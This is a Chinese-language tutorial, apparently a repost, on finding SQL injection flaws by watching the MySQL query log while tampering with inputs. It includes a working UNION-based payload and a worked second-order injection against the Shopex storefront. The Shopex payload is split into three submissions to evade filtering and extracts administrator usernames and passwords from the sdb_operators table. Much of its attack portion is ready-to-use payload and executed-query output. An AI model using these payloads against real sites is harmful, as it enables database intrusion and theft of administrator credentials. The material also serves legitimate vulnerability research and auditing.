代码审计技巧讲解

0x01 注入漏洞简介

注入漏洞是web应用中最多见的安全漏洞之一，因为一些程序没有过滤用户的输入，攻击者经过向服务器提交恶意的SQL查询语句，应用程序接收后错误 的将攻击者的输入做为原始SQL查询语句的一部分执行，致使改变了程序原始的SQL查询逻辑，额外的执行了攻击者构造的SQL查询语句，从而致使注入漏洞 的产生。

攻击者经过SQL注入能够从数据库获取敏感信息，或者利用数据库的特性执行添加用户，导出文件等一系列恶意操做。常见的建站系统出现SQL注入漏洞风险几率是很是高的，而本文就SQL注入漏洞的挖掘方法和你们分享交流，其余web安全漏洞暂不作探讨。

0x02 漏洞挖掘思路

咱们知道在源码审计中这样的SQL注入漏洞很容易被发现，可是对于咱们这样不会代码审计又想要挖漏洞的小菜来讲该怎么办？那就要讲究方法了，这里和你们分享下我平时挖掘漏洞的一些思路。

首先一个好的测试环境很重要，这样咱们能够在短期内准确的找出注入的位置。在挖注入漏洞以前咱们开启MySQL查询日志功能，由于有没有注入的发生，日志里面均可以最直观的看到。

而后用某个文本查看软件看日志文件打开网站程序里面执行的SQL(我这里用的是Bare Tail)

接着就是找输入点了，这个是重点 (这个过程也要仔细观察mysql查询日志)。

有些输入点信息，程序没有过滤直接查询数据库，就形成了注入，

例如，我GET提交:

http://localhost/index2.php?id=1a

1	http://localhost/index2.php?id=1a

在监控的MYSQL日志中跟随1a，此处出现id=1a，能够看出该处未做处理，

而且是一个整型变量，且在单引号外面，

那么咱们提交一下URL便可注入，获取数据任意信息。

http://localhost/index2.php?id=1%20union%20select%20user%28%29%20from%20user

1	http://localhost/index2.php?id=1%20union%20select%20user%28%29%20from%20user

 

0x03 Shopex漏洞实例

以shopex漏洞挖掘为例,shopex为部分源码加密,解密较为繁琐，涉及文件太多，进行代码审计须要耗费不少时间，然而利用上面的方法便可轻松找出漏洞。

打开网站，登陆后咱们随便来到一个产品页面，点击收藏该产品的时候，查看post的信息，其中的75是咱们产品的ID，该处也是个输入点。

咱们将其改成74a在提交一次试试，跟随SQL日志，能够看到其执行的语句为。

能够看到该处是没有通过过滤的，74a已经成功写入数据库了，若是二次取出时也没有过滤将形成注入，咱们再来到会员中心页面，该处会在正常操做下显示咱们收藏商品。

此时查看数据库执行日志发现74a已经出现了，由此能够判断该处存在二次注入。

因为这里是组合而成的，咱们构造好注入语句而后拆分提交，便可绕过首页的过滤

http://localhost/index.php?member-SQL-ajaxAddFav.html

1	http://localhost/index.php?member-SQL-ajaxAddFav.html

咱们将上面的SQL替换成如下信息，分三次提交：

0)/**/union/**

1	0)/**/union/**

**/select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,concat(username,0x7c,userpass),23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81/**

1	**/select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,concat(username,0x7c,userpass),23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81/**

**/from sdb_operatorslimit 1%23

1	**/from sdb_operatorslimit 1%23

来到会员中心页面在产品收藏处能够看到管理员信息。

观察数据库日志能够看到此时执行的SQL语句为

Query SELECT aGoods.*,aGimage.thumbnail FROM sdb_goods as aGoods left joinsdb_gimages as aGimage on aGoods.image_default=aGimage.gimage_id WHEREaGoods.goods_id IN (0)/**/union/**,**/select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,concat(username,0x7c,userpass),23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81/**,**/fromsdb_operators limit 1#) LIMIT 0, 10

1	Query   SELECT aGoods.*,aGimage.thumbnail FROM sdb_goods as aGoods left joinsdb_gimages

0x04 总结

这个半黑盒测试的流程是：

开启查询日志——查找输入点——-跟随输入信息——–是否可利用——-构造注入语句

此过程当中的重点就是找输入点和跟随输入信息。

输入点是咱们实施注入的入口点，咱们必须有效控制这些才能实现注入，这些输入点能够包含其中一些：

1）表单提交，主要是POST请求，也包括GET请求。

2）URL参数提交，主要为GET请求参数。

3）Cookie参数提交。

4）HTTP请求头部的一些可修改的值，好比Referer、User_Agent等。

5）一些边缘的输入点，好比.jpg文件的一些文件信息等。

有些程序采用了一些错误处理，就算SQL查询语句出错了也是没有任何报错的，这个时候咱们只能经过监视SQL查询日志来判断了，一旦有注入漏洞的产生这里将是最早看到。

熟练运用该方法基本能够找到程序中全部的注入漏洞，且不须要太懂代码，要得只是耐心和细心。

原文地址：http://www.91ri.org/7818.html